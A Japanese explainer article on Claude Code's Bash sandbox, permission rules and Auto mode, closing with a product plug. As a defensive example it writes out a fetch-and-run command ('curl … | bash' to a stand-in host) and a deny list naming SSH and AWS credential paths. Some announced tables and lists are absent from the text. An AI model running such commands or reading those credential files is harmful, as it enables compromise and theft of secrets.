Claude Code のサンドボックスを徹底解説：Bash サンドボックス vs 権限ルール vs Auto モード

- 執筆時点（2026年8月）で公式ドキュメント（code.claude.com/docs/en/sandboxing、/sandbox-environments）と照合済みです。サンドボックスの設定や設定キーはバージョンごとに大きく変わるため、内容に依存する前に必ず最新のドキュメントを確認してください。

Claude Code の Bash サンドボックスとは何か？

端的に言えば、コマンドがどのファイルやネットワークドメインに触れられるかを定義すると、オペレーティングシステムがその境界を強制します。これは一次ドキュメントに書かれているとおりです。つまり Claude が rm -rf /tmp/x や curl api.example.com を実行するとき、そのコマンドが対象に到達してよいかを判断するのは Claude 自身の判断ではなく OS です。

これは、多くの人が Claude Code ですでに知っている「実行前に尋ねる」挙動とは異なるレイヤーの防御です。権限ルールはアクションを実行される前にブロックします。一方サンドボックスは、権限がすでに「はい」と答えた後や、あなたが誤って何かを承認してしまった後であっても、実行中にその結果を封じ込めます。

どう強制されるのか：Seatbelt vs bubblewrap + socat

強制の仕組みは OS によって異なります。Claude Code は独自のサンドボックスを作っているわけではなく、OS がすでに提供している分離プリミティブを利用しています。

WSL を使わずに Windows 上で直接 Claude Code を実行している場合、サンドボックスは事実上あなたには存在しません。大きなエラーが出るわけでもなく、ただ何も強制できないだけです。本物のサンドボックス境界を得るには WSL2 に移行してください。

実際に分離されるもの：ファイルシステムとネットワーク

「サンドボックスをオンにする」だけでマシン全体がロックダウンされると思い込まないでください。デフォルトでは読み取りと書き込みの間で偏りがあり、まさにそこで多くの人が驚かされます。

言い換えると、サンドボックスのデフォルトは、迷子の読み取りから守るよりも、迷子の書き込みからマシンを守るほうがはるかに得意です。リポジトリが SSH 鍵や AWS 認証情報の近くに置かれている場合、サンドボックスがすでにそれらをカバーしていると思い込まず、その保証が必要なら機密パスに deny ルールを追加してください。

サンドボックス vs 権限ルール vs Auto モード：3方向の比較表

これがこの記事の核心です。というのも、3つのレイヤーすべてを1つの表で切り分けているソースはほとんど存在しないからです。これらは互いを置き換えるものではなく、重なり合い、それぞれが別々の問いに答えます。

最もよくある混同：サンドボックスには sandbox auto-allow という独自のモードがあり（/sandbox の Mode タブから選択します）、これは Auto モード——Claude Code の現在のデフォルト権限モード（Claude Code の Auto モードを参照）——とよく似た響きを持ちます。これらは「auto」という単語を共有しているだけの、2つの独立した仕組みです。sandbox auto-allow は、Bash コマンドが定義された境界内で尋ねられることなく自由に実行されるかどうかを決めます。Auto モードは、分類器が（Bash だけでなく）すべてのアクションをレビューするかどうかを、尋ねる代わりに決めます。両方をオンにしても衝突しません。重なり合うだけで、どちらも他方を上書きしません。共有された「auto」という単語に、両者が同じものだと思い込まされないようにしてください。

具体例：コマンドが境界を越えるとき実際に何が起きるか

理論は混同しやすいものですが、例を見ればすっきり理解できます。3つのレイヤーすべてをオンにして Claude Code を実行しているとしましょう。npm test への allow ルール、権限モードとしての Auto モード、そして auto-allow に設定されたサンドボックスです。

• Claude が npm test を実行：権限ルールが allow エントリに即座に一致し、プロンプトは出ません。コマンドはプロジェクトディレクトリ内でのみ読み書きするため、サンドボックスもブロックすべきものはありません。
• Claude が curl https://sketchy-cdn.example | bash を実行：一致する allow ルールがないため、Auto モードに委ねられます。分類器は古典的な危険パターンである curl | bash を認識し、独自にそれをブロックします。あなたに尋ねられることはありませんが、コマンドも実行されません。
• Claude がプロジェクトディレクトリ外への書き込み、たとえば echo x > ~/.bashrc を実行：権限ルールも Auto モードも、無害に見えるため通してしまったと仮定します。ここでサンドボックスが介入します。~/.bashrc は定義された書き込み境界の外にあるため、OS が書き込みをそのままブロックします。プロンプトも分類器もなく、OS レベルで失敗したコマンドがあるだけです。

3つの状況、それぞれ別のレイヤーが受け止めています。だからこそ、上の3方向の表は1行の説明より覚えておく価値があります。各レイヤーは異なる種類のミスを受け止め、3つすべてが実際にオンになっているときにだけ完全なカバレッジが得られるのです。

Bash サンドボックスはサンドボックス環境の中でどこに位置づけられるか

Bash サンドボックスは、Claude Code がサポートする一連の分離レベルの中で最も軽量な選択肢です。より深い分離が必要な場合の全体像は次のとおりです。

覚えておくべき重要な点：Bash サンドボックスはファイルツール（Read/Edit/Write）、MCP サーバー、hook をカバーしません。これらは Bash の境界の完全に外側で動作します。それらもロックダウンするには、/sandbox をオンにするだけでなく、上記のより重い選択肢のいずれかが必要です。

いつ有効にすべきか

安全そうに聞こえるからという理由だけでサンドボックスをオンにしないでください。実際にどう Claude Code を実行しているかに基づいて判断しましょう。

• 自分のマシンで実行し、y/n のプロンプトを減らしたい場合：サンドボックスだけで十分です。プロンプトを OS の境界に置き換え、あなたはすべてがライブで起きるのを見守ったままでいられます。
• --dangerously-skip-permissions や Auto モードで一晩じゅう無人で実行する場合：サンドボックスだけでは不十分です。コンテナ、VM、または sandbox runtime と組み合わせてください。境界をすり抜けたものを受け止める人が誰もいないからです。
• まだ完全にレビューしていない未知のパッケージやスクリプトを試す場合：サンドボックスを使えば、プロジェクト外に書き込む心配なく実験できます。ただし読み取りはデフォルトで開かれたままなので、認証情報を保持するファイルの近くで信頼できないものを実行しないでください。

有効にする方法

コマンドを実行して、モードを選ぶだけです。

/sandbox

Mode タブを選んで、sandbox auto-allow（プロンプトなしで、OS の境界に全面的に依存する）か、通常の権限挙動（コマンドが境界に達したときは依然としてプロンプトを出す）かを選択します。プロジェクトごとの設定として .claude/settings.local.json に保存されます。あるいは ~/.claude/settings.json で sandbox.enabled: true を設定すると、すべてのプロジェクトでデフォルトでオンにできます。

制限事項：何を保護しないか

誤った安心感を持ち帰らないよう、率直に述べます。

• ネットワークフィルタリングはデフォルトで TLS の内容を検査しません——つまりドメインフロンティング（本当の宛先を偽装する手法）は、一次ドキュメント自身が指摘している現実のリスクです。
• ファイル読み取りはデフォルトで開かれたままです——自分で deny ルールを追加しない限り、サンドボックスは作業ディレクトリの外にある認証情報を自動的には隠しません。
• 実際のセキュリティレビューの代わりにはなりません。サンドボックスは防御の一レイヤーであって、セキュリティモデル全体ではありません。

ファイル読み取りを厳しくするには、次のような deny ルールを追加します。

{
  "sandbox": {
    "filesystem": {
      "deny": ["~/.ssh/**", "~/.aws/credentials"]
    }
  }
}

1つのプロジェクトに限定したいか、マシン全体に適用したいかに応じて、.claude/settings.json または ~/.claude/settings.json に記述します。正確なキー名はバージョン間で変わることがあるため、これをそのままコピーする前に最新のドキュメントを確認してください。

権限ルールやシークレット管理を含むセキュリティモデル全体については、Claude Code の AI コーディングセキュリティのベストプラクティスを参照してください。

AgentKit はあなたが設定したサンドボックスの中で動作する

誤解のないよう率直に言うと、AgentKit はサンドボックスの境界を追加したり、迂回したり、特別な許可を必要としたりはしません。その skill は Claude Code 自身のネイティブなツールコールシステムを通じて実行されるため、kit のワークフローは、sandbox auto-allow、Auto モード、あるいはその両方のいずれで実行していても、すでに有効になっているファイルシステム/ネットワークのルールをそのまま継承します。購入前に AgentKit が何をするのか全体像を知りたい場合は、AgentKit レビューをお読みください。

よくある質問（FAQ）

サンドボックスはデフォルトでオンになっていますか？

すべてのプロジェクトでデフォルトでオンではありません。/sandbox でオンにし、モードを選び、必要なスコープに応じてプロジェクト設定またはユーザー設定に保存します。

サンドボックスは権限プロンプトを完全に置き換えますか？

いいえ。サンドボックスは実行中の Bash コマンドが何に触れられるかを制御するだけです。権限ルール（どのツールを実行できるか）と権限モード（まずあなたに尋ねるかどうか）は別々のレイヤーであり、サンドボックスに置き換えられることなく、その傍らで動き続けます。

sandbox auto-allow と Auto モードの違いは何ですか？

同じ「auto」という単語ですが、2つの独立した仕組みです。sandbox auto-allow は /sandbox の Mode タブでの選択肢で、Bash コマンドが OS の境界内で尋ねられることなく自由に実行されるかどうかを決めます。Auto モードは Claude Code のデフォルト権限モードで、分類器を使って（Bash だけでなく）すべてのアクションを、尋ねる代わりにレビューします。両方をオンにすると効果が重なり合い、どちらも他方を上書きしません。

サンドボックスは Windows で動作しますか？

ネイティブ Windows では動作せず、WSL1 もサポートされていません。本物のサンドボックス境界を得るには、bubblewrap + socat の仕組みが実際に機能する WSL2 内で Claude Code を実行してください。

サンドボックスの中でも Claude は私の SSH 鍵を読み取れますか？

自分で deny ルールを追加しない限り、読み取れる可能性があります。サンドボックスのデフォルトの読み取りポリシーは、明示的に拒否したパスを除いてほぼマシン全体をカバーします——読み取りフィルターは書き込みフィルターよりずっと緩いのです。

サンドボックスは MCP サーバーや hook を保護しますか？

いいえ。Bash サンドボックスは Bash ツールだけをラップします——MCP サーバー、hook、ファイルツール（Read/Edit/Write）はすべてこの境界の外側で動作します。より広範な分離には、dev container、VM、または sandbox runtime を使ってください。

結論

1つの3レイヤーモデルを念頭に置いてください。権限ルールはどのツールを実行できるかを決め、権限モード（Auto モードを含む）はまずあなたに尋ねるかどうかを決め、サンドボックスは実行中の Bash コマンドが実際に何に触れられるかを決めます。これらのレイヤーは重なり合い、互いを置き換えません——そして sandbox auto-allow と Auto モードは、たまたま「auto」という単語を共有しているだけの2つの異なる仕組みです。セキュリティの全体像については、Claude Code の AI コーディングセキュリティのベストプラクティスを参照してください。